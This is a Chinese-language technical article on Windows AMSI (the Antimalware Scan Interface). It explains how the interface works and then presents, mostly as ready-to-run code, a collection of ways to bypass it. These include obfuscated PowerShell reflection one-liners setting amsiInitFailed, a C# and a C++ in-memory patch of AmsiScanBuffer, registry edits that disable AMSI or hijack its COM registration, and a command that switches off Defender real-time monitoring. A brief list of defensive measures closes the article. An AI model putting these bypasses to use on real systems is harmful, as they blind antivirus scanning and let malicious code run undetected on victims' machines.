初探 Windows AMSI (反恶意软件扫描接口)
字数 1895 2025-08-05 00:16:28
Windows AMSI (反恶意软件扫描接口) 深度解析与绕过技术
1. AMSI 概述
AMSI (Antimalware Scan Interface) 是 Windows 提供的一种通用接口标准,允许应用程序和服务与机器上安装的任何反恶意软件产品集成。AMSI 在 Windows Server 2016 和 Windows 10 上默认安装并启用。
1.1 AMSI 核心特性
- 与反恶意软件供应商无关
- 支持文件和内存/流扫描
- 支持内容源 URL/IP 信誉检查
- 支持会话概念,可关联不同扫描请求
- 本体为
c:\windows\system32\amsi.dll
1.2 与 AMSI 集成的 Windows 组件
- 用户帐户控制 (UAC)
- PowerShell (脚本、交互使用和动态代码评估)
- Windows 脚本宿主 (wscript.exe 和 cscript.exe)
- JavaScript 和 VBScript
- Office VBA 宏 (VBE7.dll)
- .NET Assembly (clr.dll)
- WMI
2. AMSI 工作原理
2.1 主要执行流程
- 创建 PowerShell 进程时,AMSI.DLL 加载到其内存地址空间
- 执行命令时,内容首先发送到
AmsiScanBuffer()函数 AmsiScanBuffer()将内容传递给 Windows Defender 检查- 如果内容被判定为恶意,则被阻止执行
2.2 检测内容
- 文件
- 内存数据流
2.3 可检测的攻击类型
- PowerShell.exe 执行的脚本
- 不使用 powershell.exe 运行的脚本
- 使用单独 runspace (如 p0wnedshell, psattack)
- 使用 System.Automation.Dll (如 nps, Powerpick)
- 从 WMI 命名空间、注册表键和事件记录日志加载的脚本
- 应用白名单绕过方式 (InstallUtil, regsrv32 和 rundll32)
3. AMSI 绕过技术
3.1 降级技术
- PowerShell v2 不支持 AMSI
- 使用
-version 2或-v 2参数运行 PowerShell - 需要 .NET 3.5 版本支持
静默安装 .NET 3.5 参数:
/Q /NORESTART /lcid 1033
3.2 混淆技术
- 字符串拆分拼接:
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)
- Base64 编码:
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
- 十六进制编码:
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
3.3 反射技术 - 修改 AmsiScanBuffer 检测长度
C# 实现代码:
using System;
using System.Runtime.InteropServices;
namespace Help
{
public class Test
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero);
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);
return 0;
}
}
}
PowerShell 加载方式:
function Help-Test
{
if(-not ([System.Management.Automation.PSTypeName]"Help.Test").Type) {
[Reflection.Assembly]::Load([byte[]]@(这里是上面得到的byte数组)) | Out-Null
Write-Output "DLL has been reflected";
}
[Help.Test]::Disable();
}
3.4 禁用 AMSI 技术
- 修改注册表:
echo Windows Registry Editor Version 5.00 > bypass.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows Script\Settings\AmsiEnable] >> bypass.reg
echo @="0" >> bypass.reg
regedit /s bypass.reg
- 关闭 Windows Defender 实时监控:
Set-MpPreference -DisableRealtimeMonitoring $true
3.5 DLL 劫持技术
- 在
C:\Windows\System32\WindowsPowerShell\v1.0下放置伪造的 AMSI.dll - 利用 DLL 加载优先级机制
3.6 COM 劫持技术
echo Windows Registry Editor Version 5.00 > bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}] >> bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32] >> bypass.reg
echo @="C:\\IDontExist.dll" >> bypass.reg
regedit /s bypass.reg
3.7 内存补丁技术
C++ 实现代码:
#include <Windows.h>
#include <stdio.h>
int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
Sleep(500);
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}
4. 防御措施
-
日志监控:
- 开启全部系统日志并分析
- 至少开启 PowerShell 脚本块、Sysmon 和进程创建日志
-
系统配置:
- 安装 PowerShell 4.0 以上版本
- 卸载或禁用 PowerShell 2.0 版本
- 开启 PowerShell 相关安全机制 (APPLocker, Device Guard, Credential Guard 等)
-
注册表监控:
- 监控
HKCU\Software\Microsoft\Windows\Script\Settings\AmsiEnable值变化 - 监控
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits(Windows 10 1903+)
- 监控
-
其他防御:
- 使用 AMSI 并关注绕过技术
- 监控非标准位置执行的二进制文件 (wscript, cscript, PowerShell)
5. 版本限制与注意事项
-
Windows 10 1709 以后:
- 如果 AMSI 提供程序依赖于同目录下其他 DLL 同时加载,将不能工作
-
Windows 10 1903 以后:
- AMSI 提供商 DLL 没有 Authenticode-signed 可能无法加载
- 取决于注册表
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits的值 (默认 0x01,签名检测被禁止)